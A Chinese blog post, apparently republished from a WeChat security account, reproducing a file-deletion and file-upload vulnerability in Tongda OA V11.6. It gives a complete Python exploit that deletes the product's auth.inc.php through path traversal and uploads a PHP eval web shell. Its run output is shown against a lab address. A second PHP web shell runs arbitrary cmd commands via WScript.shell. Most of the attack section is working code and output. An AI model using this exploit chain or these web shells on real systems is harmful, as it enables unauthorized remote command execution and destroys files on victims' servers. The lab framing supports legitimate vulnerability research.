通达OA任意文件删除+文件上传漏洞复现

admin 2022年6月8日06:43:43评论296 views字数 1977阅读6分35秒阅读模式

环境搭建

通达OA V11.6 下载地址https://pan.baidu.com/s/1rTnsKtiB5HDvzp4FoKdMFw 提取码:Mo60


然后进行安装即可

通达OA任意文件删除+文件上传漏洞复现

访问

通达OA任意文件删除+文件上传漏洞复现

使用默认账号admin 空密码 登入

通达OA任意文件删除+文件上传漏洞复现

提示:该漏洞并不是无损的,如果成功利用后会删除程序中的php文件会导致程序功能无法使用

漏洞复现

这里使用exp直接打,利用成功会在根目录下生成一句话_oatest.php密码为t

import requests
payload="<?php eval($_POST['t']);?>"print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")target=input("Please enter URL: ")input("Press enter to continue!")print("[*]Deleting auth.inc.php....")url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"requests.get(url=url)print("[*]Checking if file deleted...")url=target+"/inc/auth.inc.php"page=requests.get(url=url).textif 'No input file specified.' not in page: print("[-]Failed to deleted auth.inc.php") exit(-1)print("[+]Successfully deleted auth.inc.php!")print("[*]Uploading payload...")url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"files = {'FILE1': ('oatest.php', payload)}requests.post(url=url,files=files)url=target+"/_oatest.php"page=requests.get(url=url).textif 'No input file specified.' not in page: print("[+]Filed Uploaded Successfully") print("[+]URL:",url)else:    print("[-]Failed to upload file")

运行后输入url然后回车确认运行即可,这里还是提示一下此漏洞并不是无损的!

通达OA任意文件删除+文件上传漏洞复现

>exp.py[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OAPlease enter URL: http://192.168.0.110:8080/Press enter to continue![*]Deleting auth.inc.php....[*]Checking if file deleted...[+]Successfully deleted auth.inc.php![*]Uploading payload...[+]Filed Uploaded Successfully[+]URL: http://192.168.0.110:8080//_oatest.php

任意文件删除,exp是删除了验证文件然后进行文件上传

/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php

来到靶机处查看文件成功被写入

通达OA任意文件删除+文件上传漏洞复现

默认禁用了一些函数会导致无法执行命令这里使用其他方法去执行

通达OA任意文件删除+文件上传漏洞复现

<?php$command=$_GET['cmd'];$wsh = new COM('WScript.shell');$exec = $wsh->exec("cmd /c ".$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>

通达OA任意文件删除+文件上传漏洞复现

后话

再次登入发现页面已经不成样子

通达OA任意文件删除+文件上传漏洞复现

只要把auth.inc.php重新移动到webroot/inc/目录下即可,该文件我也放在了百度网盘链接里,如果各个版本的auth.inc.php文件结构没有大变动的话应该都是可以的

通达OA任意文件删除+文件上传漏洞复现

2017版本的也可以被利用,2019版本的都不行,这里测试的版本为V11.6


原文始发于微信公众号(Mo60):通达OA任意文件删除+文件上传漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月8日06:43:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通达OA任意文件删除+文件上传漏洞复现https://cn-sec.com/archives/1069881.html

发表评论

匿名网友 填写信息